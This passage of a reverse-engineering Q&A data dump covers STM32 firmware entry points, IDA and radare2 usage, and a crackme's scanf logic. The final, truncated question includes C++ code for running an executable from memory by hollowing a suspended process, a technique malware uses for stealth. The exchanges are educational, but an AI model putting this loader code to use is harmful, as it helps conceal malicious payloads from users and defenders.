  <row Id="17097" PostTypeId="2" ParentId="17096" CreationDate="2018-01-02T07:19:24.263" Score="3" Body="&lt;p&gt;You can use &lt;kbd&gt;Alt-K&lt;/kbd&gt; shortcut to fix the stack pointer. &#xA;Its documentation is &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/489.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2018-01-02T07:19:24.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17099" PostTypeId="1" AcceptedAnswerId="17101" CreationDate="2018-01-02T13:51:12.517" Score="2" ViewCount="4502" Body="&lt;p&gt;I'm trying to disassemble a firmware for a DIY project, open hardware but closed firmware.&#xA;My question is how to initialize the disassembler properly (Hopper Disassembler).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The values I try to figure out are the ones shown here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2aGGc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2aGGc.png&quot; alt=&quot;Hopper Disassembler&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I know, the processor is a STM32F100C8, ARM Cortex-M3, 64Kbytes Flash, 8Kbytes RAM. The BOOT0 pin is tied low, so I know it's booting from main flash memory:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Boot from main Flash memory: the main Flash memory is aliased in the&#xA;  boot memory   space (0x0000 0000), but still accessible from its&#xA;  original memory space (0x800 0000).   In other words, the Flash memory&#xA;  contents can be accessed starting from address   0x0000 0000 or 0x800&#xA;  0000.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The startup sequence is as follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The CPU fetches the top-of-stack value from address 0x0000 0000,&#xA;  then   starts code execution from the boot memory starting from 0x0000&#xA;  0004&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I converted the .hex file to a .bin file using &lt;code&gt;arm-none-eabi-objcopy&lt;/code&gt; and found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0000 0000  |  10050020 (Stack pointer) &#xA;0x0000 0004  |  05A90008 (ResetHandler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I don't understand are the memory addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The stack pointer is too large to be a relative offset (only 8K RAM) and too small to point into SRAM (starting at 0x2000 0000).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reset handler is also too large to be a relative offset (only 64k flash) and too small to point to main flash memory (starting at 0x800 0000).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I figure out the proper base address and entry point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: The schematics and firmware for the DIY project can be found &lt;a href=&quot;http://fandy.ucoz.org/publ/metalloiskatel_quot_kvazar_quot_quot_quasar_quot/metalloiskatel_quot_quasar_arm_quot/2-1-0-5&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22783" LastEditorUserId="22783" LastEditDate="2018-01-02T14:13:25.263" LastActivityDate="2018-01-02T17:31:39.217" Title="Entry point for STM32 firmware" Tags="|firmware|arm|hopper|entry-point|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17100" PostTypeId="2" ParentId="17095" CreationDate="2018-01-02T15:28:02.583" Score="1" Body="&lt;p&gt;It doesn't work like that, unfortunately. I'm going to be drastically oversimplifying the topic, but the 10,000-foot view is that you have two ways to reverse engineer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Static Analysis&lt;/strong&gt;: Studying a binary without running it. Programs like &lt;strong&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA&lt;/a&gt;&lt;/strong&gt; can be used to disassemble a binary to automagically lay bare what it can of the binary's workings. This does A LOT for you if you know what you're looking at. Otherwise, prepare to be 100% overwhelmed. There's an amazing introduction to IDA on YouTube that you can watch &lt;strong&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=cGDcTSCB7y4&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dynamic Analysis&lt;/strong&gt;: Studying the behavior of a binary while it's executing. This is when you use debuggers like &lt;strong&gt;&lt;a href=&quot;http://www.ollydbg.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyDbg&lt;/a&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;a href=&quot;https://x64dbg.com/#start&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64dbg&lt;/a&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;a href=&quot;https://developer.microsoft.com/en-us/windows/hardware/download-windbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinDbg&lt;/a&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;a href=&quot;https://github.com/cheat-engine/cheat-engine&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cheat Engine&lt;/a&gt;&lt;/strong&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are really complex things you can do via other applications/plugins/libraries/frameworks, but you tend to discover those during threads of research. There's likely a plugin or something out there for Olly that will profusely log events/tracing, but the reason what you're interested in won't really work is the amount of data you'd be logging would be insane. You'd still have to search through it all to make sense of everything. Consider there are registers, memory, on-disk, and off-site (which gets you into network protocol land).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what you're interested in, there's a really, really good video tutorial that uses OllyDbg and IDA to reverse a crackme (&lt;a href=&quot;https://www.youtube.com/watch?v=DEDYk8zN53A&quot; rel=&quot;nofollow noreferrer&quot;&gt;video here&lt;/a&gt;). For a different approach for the same crackme via dynamic analysis, (&lt;a href=&quot;https://www.youtube.com/watch?v=Emiuht3YSXA&quot; rel=&quot;nofollow noreferrer&quot;&gt;here is a video&lt;/a&gt;) where I use Cheat Engine, which is an unorthodox tool for the job but that I think a beginner such as yourself would learn a lot from (there's memory scanning, patching, writing custom Assembly and creating a script, etc.). Full disclosure: the tutorial using Cheat Engine is from me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a lot of learning ahead of you, but try to enjoy the ride!&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2018-01-02T15:38:50.437" LastActivityDate="2018-01-02T15:38:50.437" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17101" PostTypeId="2" ParentId="17099" CreationDate="2018-01-02T17:31:39.217" Score="4" Body="&lt;p&gt;The values are in little-endian I believe so the stack pointer is at 0x20000510 and the reset vector is 0x0800a905.&lt;/p&gt;&#xA;" OwnerUserId="14715" LastActivityDate="2018-01-02T17:31:39.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17102" PostTypeId="2" ParentId="16871" CreationDate="2018-01-02T18:55:21.430" Score="3" Body="&lt;p&gt;Well, &lt;em&gt;w s&lt;/em&gt;'s answer actually points out what you should do. Here I give a more detailed answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, create file &lt;code&gt;1.h&lt;/code&gt; under your E: drive, fill with some struct definitions and try this in your IDA's Output Window:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaapi.idc_parse_types(&quot;E:\\1.h&quot;, idc.PT_FILE)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function will return number of errors it encounters when parsing your &lt;code&gt;.h&lt;/code&gt; file. If you get 0, it means there is nothing wrong in your header file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE1: IDA Python keeps changing. The above code works for me (I use IDA Pro 6.8). Some changes may be needed if you use a different version. Try &lt;a href=&quot;https://github.com/idapython/bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Python Reference&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE2: You should find the new types appear in your Local Types window (Press Shift+F1 to open it), which displays the types in TIL. If you actually need structures (which belongs to IDB), try &lt;code&gt;idaapi.til2idb&lt;/code&gt; or &lt;code&gt;idaapi.import_type&lt;/code&gt; to import them.&lt;/p&gt;&#xA;" OwnerUserId="22561" LastActivityDate="2018-01-02T18:55:21.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17103" PostTypeId="1" AcceptedAnswerId="17105" CreationDate="2018-01-02T23:14:45.873" Score="1" ViewCount="7453" Body="&lt;p&gt;Looking this snippet of code I can't figure out where is stored the return value of the &lt;code&gt;scanf()&lt;/code&gt; function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From man page, &lt;code&gt;scanf()&lt;/code&gt; return an &lt;code&gt;int&lt;/code&gt; value representing the number of input items successfully matched and assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was expecting &lt;code&gt;0x04&lt;/code&gt; in the &lt;code&gt;EAX&lt;/code&gt; register (user input = &lt;code&gt;AAAA&lt;/code&gt;) but after returning from &lt;code&gt;scanf()&lt;/code&gt;, &lt;code&gt;EAX = 0x00000000&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       0x080483e4      55             push ebp&#xA;       0x080483e5      89e5           mov ebp, esp&#xA;       0x080483e7      83ec18         sub esp, 0x18&#xA;       0x080483ea      83e4f0         and esp, 0xfffffff0&#xA;       0x080483ed      b800000000     mov eax, 0&#xA;       0x080483f2      83c00f         add eax, 0xf&#xA;       0x080483f5      83c00f         add eax, 0xf&#xA;       0x080483f8      c1e804         shr eax, 4&#xA;       0x080483fb      c1e004         shl eax, 4&#xA;       0x080483fe      29c4           sub esp, eax&#xA;       0x08048400      c70424488504.  mov dword [esp], str.IOLI_Crackme_Level_0x02 ; [0x8048548:4]=0x494c4f49 ; &quot;IOLI Crackme Level 0x02\n&quot;&#xA;       0x08048407      e810ffffff     call sym.imp.printf         ; int printf(const char *format)&#xA;       0x0804840c      c70424618504.  mov dword [esp], str.Password: ; [0x8048561:4]=0x73736150 ; &quot;Password: &quot; ; const char * format&#xA;       0x08048413      e804ffffff     call sym.imp.printf         ; int printf(const char *format)&#xA;       0x08048418      8d45fc         lea eax, ebp - 4&#xA;       0x0804841b      89442404       mov dword [local_4h_2], eax&#xA;       0x0804841f      c704246c8504.  mov dword [esp], 0x804856c  ; [0x804856c:4]=0x50006425 ; const char * format&#xA;       ;-- eip:&#xA;       0x08048426 b    e8e1feffff     call sym.imp.scanf          ; int scanf(const char *format)&#xA;       0x0804842b      c745f85a0000.  mov dword [local_8h], 0x5a  ; 'Z' ; 90&#xA;       0x08048432      c745f4ec0100.  mov dword [local_ch], 0x1ec ; 492&#xA;       0x08048439      8b55f4         mov edx, dword [local_ch]&#xA;       0x0804843c      8d45f8         lea eax, ebp - 8&#xA;       0x0804843f      0110           add dword [eax], edx&#xA;       0x08048441      8b45f8         mov eax, dword [local_8h]&#xA;       0x08048444      0faf45f8       imul eax, dword [local_8h]&#xA;       0x08048448      8945f4         mov dword [local_ch], eax&#xA;       0x0804844b      8b45fc         mov eax, dword [local_4h]&#xA;       0x0804844e      3b45f4         cmp eax, dword [local_ch]&#xA;   ┌─&amp;lt; 0x08048451      750e           jne 0x8048461&#xA;   │   0x08048453      c704246f8504.  mov dword [esp], str.Password_OK_: ; [0x804856f:4]=0x73736150 ; &quot;Password OK :)\n&quot; ; const char * format&#xA;   │   0x0804845a      e8bdfeffff     call sym.imp.printf         ; int printf(const char *format)&#xA;  ┌──&amp;lt; 0x0804845f      eb0c           jmp 0x804846d&#xA;  │└─&amp;gt; 0x08048461      c704247f8504.  mov dword [esp], str.Invalid_Password ; [0x804857f:4]=0x61766e49 ; &quot;Invalid Password!\n&quot; ; const char * format&#xA;  │    0x08048468      e8affeffff     call sym.imp.printf         ; int printf(const char *format)&#xA;  │       ; JMP XREF from 0x0804845f (main)&#xA;  └──&amp;gt; 0x0804846d      b800000000     mov eax, 0&#xA;       0x08048472      c9             leave&#xA;       0x08048473      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, I cannot find any reference to the user input (from the previous &lt;code&gt;scanf()&lt;/code&gt; call). I think it's in &lt;code&gt;local_4h&lt;/code&gt; because it's compared with the flag value (&lt;code&gt;0x00052b24&lt;/code&gt;) stored in &lt;code&gt;local_ch&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; var local_4h = 0xffa46fd4  0xf7f66000  ... @eax edi&#xA; var local_8h = 0xffa46fd0  0x00000001  .... esi&#xA; var local_ch = 0xffa46fcc  0x00000000  .... ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, I cannot understand how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info, this is the stack right before the &lt;code&gt;scanf()&lt;/code&gt; call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0xffa46fb0  6c85 0408 d46f a4ff 0000 0000 fbb4 ddf7  l....o..........&#xA;0xffa46fc0  dc63 f6f7 f481 0408 0c9f 0408 0000 0000  .c..............&#xA;0xffa46fd0  0100 0000 0060 f6f7 0000 0000 5644 dcf7  .....`......VD..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And registers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; eax = 0xffa46fd4&#xA; ebx = 0x00000000&#xA; ecx = 0x00000000&#xA; edx = 0xf7f67870&#xA; esi = 0x00000001&#xA; edi = 0xf7f66000&#xA; esp = 0xffa46fb0&#xA; ebp = 0xffa46fd8&#xA; eip = 0x08048426&#xA; eflags = 0x00000286&#xA; oeax = 0xffffffff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22655" LastEditorUserId="22655" LastEditDate="2018-01-03T20:51:10.720" LastActivityDate="2018-01-04T06:03:28.287" Title="scanf return value" Tags="|disassembly|assembly|x86|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17104" PostTypeId="1" CreationDate="2018-01-02T23:53:33.870" Score="-1" ViewCount="123" Body="&lt;p&gt;My program often ends up at the kernel32.TerminateProcess API, now I've tried looking at the callstack in x32dbg but there's nothing. I've tried looking intermodular calls from my module and I've put a breakpoint on all of the calls, but yet it still ends up there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried to look at all the intermodular calls to terminate process but they're are way too many, any tips to find it's origin? &lt;/p&gt;&#xA;" OwnerUserId="22599" LastActivityDate="2018-01-04T20:27:53.567" Title="Working backwards from window API's" Tags="|debugging|" AnswerCount="2" CommentCount="5" ClosedDate="2018-01-21T09:03:19.540" ContentLicense="CC BY-SA 3.0" />
  <row Id="17105" PostTypeId="2" ParentId="17103" CreationDate="2018-01-03T05:21:55.397" Score="4" Body="&lt;p&gt;According to &lt;code&gt;man scanf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On success, these functions return the number of input items successfully matched and assigned; this can be fewer than provided for,  or  even  zero,  in  the&#xA;         event of an early matching failure.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The  value EOF is returned if the end of input is reached before either the first successful conversion or a matching failure occurs.  EOF is also returned if&#xA;         a read error occurs, in which case the error indicator for the stream (see ferror(3)) is set, and errno is set to indicate the error.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also during a function in x86 the stack looks something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;► 0x80484f9 &amp;lt;main+62&amp;gt;    call   __isoc99_scanf@plt            &amp;lt;0x80483a0&amp;gt;&#xA;    format: 0x80485e0 ◂— 0x25006425 /* '%d' */&#xA;    vararg: 0xffffcfe8 —▸ 0xffffd0ac —▸ 0xffffd264 ◂— 0x5f474458 ('XDG_')&#xA;[──────────────────────────STACK──────────────────────────]&#xA;00:0000│ esp  0xffffcfc0 —▸ 0x80485e0 ◂— and    eax, 0x64250064 /* '%d' */&#xA;01:0004│      0xffffcfc4 —▸ 0xffffcfe8 —▸ 0xffffd0ac —▸ 0xffffd264 ◂— ...&#xA;02:0008│      0xffffcfc8 —▸ 0xf7f9f244 —▸ 0xf7e07020 (_IO_check_libio) ◂—  call   0xf7f0eb09&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The top of the stack is the first parameter &lt;code&gt;format&lt;/code&gt; followed by references to variables which will store the values matching with the format string.&#xA;In your case &lt;code&gt;mov dword [esp], 0x804856c&lt;/code&gt; kind of pushes format string to the stack top &lt;code&gt;esp&lt;/code&gt;. Somewhere above this snippet you'd have &lt;code&gt;mov dword [esp+4], stack_address_ref&lt;/code&gt; to add the variables which will be saving the values parsed.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="2959" LastEditDate="2018-01-03T17:49:05.977" LastActivityDate="2018-01-03T17:49:05.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17106" PostTypeId="2" ParentId="17104" CreationDate="2018-01-03T12:39:04.647" Score="1" Body="&lt;p&gt;From your comments it seems like you're having an exception which was thrown due to failure of access to a memory address. This might happen because of Access Violation or trying to access a non-existent address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms686714(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;TerminateProcess()&lt;/code&gt;&lt;/a&gt; syntax:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOL WINAPI TerminateProcess(&#xA;  _In_ HANDLE hProcess,&#xA;  _In_ UINT   uExitCode&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check for the &lt;em&gt;ExitCode&lt;/em&gt; of the program to understand more what caused the failure:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;uExitCode&lt;/strong&gt; [in]&lt;br&gt;&#xA;  The exit code to be used by the process and threads&#xA;  terminated as a result of this call. Use the &lt;code&gt;GetExitCodeProcess&lt;/code&gt;&#xA;  function to retrieve a process's exit value. Use the &lt;code&gt;GetExitCodeThread&lt;/code&gt;&#xA;  function to retrieve a thread's exit value.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should be able to find the exit code on the stack, or in the failure message.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-01-03T12:39:04.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17107" PostTypeId="2" ParentId="17103" CreationDate="2018-01-03T22:33:56.313" Score="0" Body="&lt;p&gt;Thanks to &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/14622/sudhackar&quot;&gt;sudhackar&lt;/a&gt; comment i was able to understand &lt;code&gt;scanf()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mov dword [esp], 0x804856c&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;pushes the format string on the stack:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:&amp;gt; px @ 0x804856c&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  0123456789ABCD&#xA;0x0804856c  2564 0050 6173 7377 6f72 6420 4f4b  %d.Password OK&#xA;0x0804857a  203a 290a 0049 6e76 616c 6964 2050   :)..Invalid P&#xA;0x08048588  6173 7377 6f72 6421 0a00 0000 0000  assword!......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's a &lt;code&gt;%d&lt;/code&gt; so it references a decimal variable. After user input (&lt;strong&gt;in this case password was a number &lt;code&gt;23&lt;/code&gt;&lt;/strong&gt;), local variable at &lt;code&gt;ebp-0x04&lt;/code&gt; contains its value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:&amp;gt; afvd&#xA;var local_4h = 0xffe6cf34  0x00000017  ....&#xA;var local_8h = 0xffe6cf30  0x00000001  .... eax&#xA;var local_ch = 0xffe6cf2c  0x00000000  .... ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Infact:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x17=23&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What differs from before is that previous password was &lt;code&gt;AAAA&lt;/code&gt;, &lt;strong&gt;not a decimal number&lt;/strong&gt;: &lt;code&gt;scanf()&lt;/code&gt; was unable to match variables and returned nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have only a last small doubt: comparing disassembled code between radare2 and objdump I found a small difference but I think it's pretty important though:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from &lt;strong&gt;radare2&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x08048418      8d45fc         lea eax, ebp - 4&#xA;   0x0804841b      89442404       mov dword [local_4h_2], eax&#xA;   0x0804841f      c704246c8504.  mov dword [esp], 0x804856c  &#xA;   0x08048426 b    e8e1feffff     call sym.imp.scanf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from &lt;strong&gt;objdump&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   8048418: 8d 45 fc                lea    eax,[ebp-0x4]&#xA;   804841b: 89 44 24 04             mov    DWORD PTR [esp+0x4],eax&#xA;   804841f: c7 04 24 6c 85 04 08    mov    DWORD PTR [esp],0x804856c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any reason for that difference in instruction at &lt;code&gt;0x08048418&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="22655" LastEditorUserId="22655" LastEditDate="2018-01-04T06:03:28.287" LastActivityDate="2018-01-04T06:03:28.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17109" PostTypeId="1" AcceptedAnswerId="17126" CreationDate="2018-01-04T06:44:29.720" Score="4" ViewCount="2074" Body="&lt;p&gt;I was just wondering what exactly causes a function without a prologue/epilogue to be generated? If a program is compiled with just stdcall/cdecl convention, why is it that there are some calls which lead to a subroutine that doesn't have the typical push ebp -&gt; mov ebp,esp. Are these just sanity checks generated by the compiler? Are these subroutines important? Or is that impossible to say without actually analysing it? For example, would a compiler produce a call to a subroutine which moves one value into eax and then returns or would that be the programmer changing the binary of the executable?&lt;/p&gt;&#xA;" OwnerUserId="22004" LastActivityDate="2018-01-05T13:37:25.330" Title="Functions without a prologue and epilogue?" Tags="|functions|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17110" PostTypeId="1" CreationDate="2018-01-04T10:49:07.330" Score="2" ViewCount="12959" Body="&lt;p&gt;Would be grateful for your suggestion.Trying to run a &lt;strong&gt;32/64bi&lt;/strong&gt;t on (Windows 10- 64 bit /Visual studio) program which tries to run an executable from memory.T&lt;strong&gt;his is for my learning purpose&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt; // Standard C++ library for console I/O&#xA;#include &amp;lt;string&amp;gt; // Standard C++ Library for string manip&#xA;#include &amp;lt;Windows.h&amp;gt; // WinAPI Header&#xA;#include &amp;lt;TlHelp32.h&amp;gt; //WinAPI Process API&#xA;&#xA;#ifdef _WIN64&#xA;typedef IMAGE_NT_HEADERS64  IMAGE_NT_HEADERS;&#xA;typedef PIMAGE_NT_HEADERS64 PIMAGE_NT_HEADERS;&#xA;typedef IMAGE_OPTIONAL_HEADER64 IMAGE_OPTIONAL_HEADER;&#xA;typedef PIMAGE_OPTIONAL_HEADER64 PIMAGE_OPTIONAL_HEADER;&#xA;#else&#xA;typedef IMAGE_NT_HEADERS32  IMAGE_NT_HEADERS;&#xA;typedef PIMAGE_NT_HEADERS32 PIMAGE_NT_HEADERS;&#xA;typedef IMAGE_OPTIONAL_HEADER32 IMAGE_OPTIONAL_HEADER;&#xA;typedef PIMAGE_OPTIONAL_HEADER32 PIMAGE_OPTIONAL_HEADER;&#xA;#endif &#xA;&#xA;&#xA;// use this if you want to read the executable from disk&#xA;HANDLE MapFileToMemory(LPCSTR filename)&#xA;{&#xA;  std::streampos size;&#xA;  std::fstream file(filename, std::ios::in | std::ios::binary &#xA; |std::ios::ate);&#xA; if (file.is_open())&#xA; {&#xA;    size = file.tellg();&#xA;&#xA;    char* Memblock = new char[size]();&#xA;&#xA;    file.seekg(0, std::ios::beg);&#xA;    file.read(Memblock, size);&#xA;    file.close();&#xA;&#xA;    return Memblock;&#xA;    }&#xA; return 0;&#xA; }&#xA; int RunPortableExecutable(void* Image)&#xA;  {&#xA;   IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols&#xA;   IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects &amp;amp; symbols&#xA;   IMAGE_SECTION_HEADER* SectionHeader;&#xA;&#xA;    PROCESS_INFORMATION PI; &#xA;    STARTUPINFOA SI; &#xA;    CONTEXT* CTX;&#xA;&#xA;&#xA;DWORD* ImageBase; //Base address of the image&#xA;void* pImageBase; // Pointer to the image base&#xA;&#xA;int count;&#xA;char CurrentFilePath[1024];&#xA;&#xA;DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable&#xA;NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader-&amp;gt;e_lfanew); // Initialize&#xA;&#xA;GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable&#xA;&#xA;if (NtHeader-&amp;gt;Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.&#xA;{&#xA;    ZeroMemory(&amp;amp;PI, sizeof(PI)); // Null the memory&#xA;    ZeroMemory(&amp;amp;SI, sizeof(SI)); // Null the memory&#xA;&#xA;    if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,&#xA;        CREATE_SUSPENDED, NULL, NULL, &amp;amp;SI, &amp;amp;PI)) // Create a new instance of current&#xA;        //process in suspended state, for the new image.&#xA;    {&#xA;        // Allocate memory for the context.&#xA;        CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));&#xA;        CTX-&amp;gt;ContextFlags = CONTEXT_FULL; // Context is allocated&#xA;&#xA;        if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread&#xA;        {&#xA;            // Read instructions&#xA;            ReadProcessMemory(PI.hProcess, LPCVOID(CTX-&amp;gt;Rbx + 8), LPVOID(&amp;amp;ImageBase), 4, 0);&#xA;&#xA;            pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader-&amp;gt;OptionalHeader.ImageBase),&#xA;                NtHeader-&amp;gt;OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);&#xA;&#xA;            // Write the image to the process&#xA;            WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader-&amp;gt;OptionalHeader.SizeOfHeaders, NULL);&#xA;&#xA;            for (count = 0; count &amp;lt; NtHeader-&amp;gt;FileHeader.NumberOfSections; count++)&#xA;            {&#xA;                SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader-&amp;gt;e_lfanew + 248 + (count * 40));&#xA;&#xA;                WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader-&amp;gt;VirtualAddress),&#xA;                    LPVOID(DWORD(Image) + SectionHeader-&amp;gt;PointerToRawData), SectionHeader-&amp;gt;SizeOfRawData, 0);&#xA;            }&#xA;            WriteProcessMemory(PI.hProcess, LPVOID(CTX-&amp;gt;Rbx + 8),&#xA;                LPVOID(&amp;amp;NtHeader-&amp;gt;OptionalHeader.ImageBase), 4, 0);&#xA;&#xA;            // Move address of entry point to the eax register&#xA;            CTX-&amp;gt;Rax = DWORD(pImageBase) + NtHeader-&amp;gt;OptionalHeader.AddressOfEntryPoint;&#xA;            SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context&#xA;            ResumeThread(PI.hThread); //´Start the process/call main()&#xA;&#xA;            return 0; // Operation was successful.&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;      //enter valid bytes of a  *64 BIT* program here.&#xA;      //Sample code &#xA;       unsigned char rawData[37376] = {&#xA;       0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00}; &#xA;&#xA;    int main()&#xA; {&#xA;      RunPortableExecutable(rawData); // run executable from the array - &#xA;                                 // 64bit program in hex -coverted from exe&#xA;       getchar();&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After successful compile on VS 2017 on x64 platform , getting exception.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 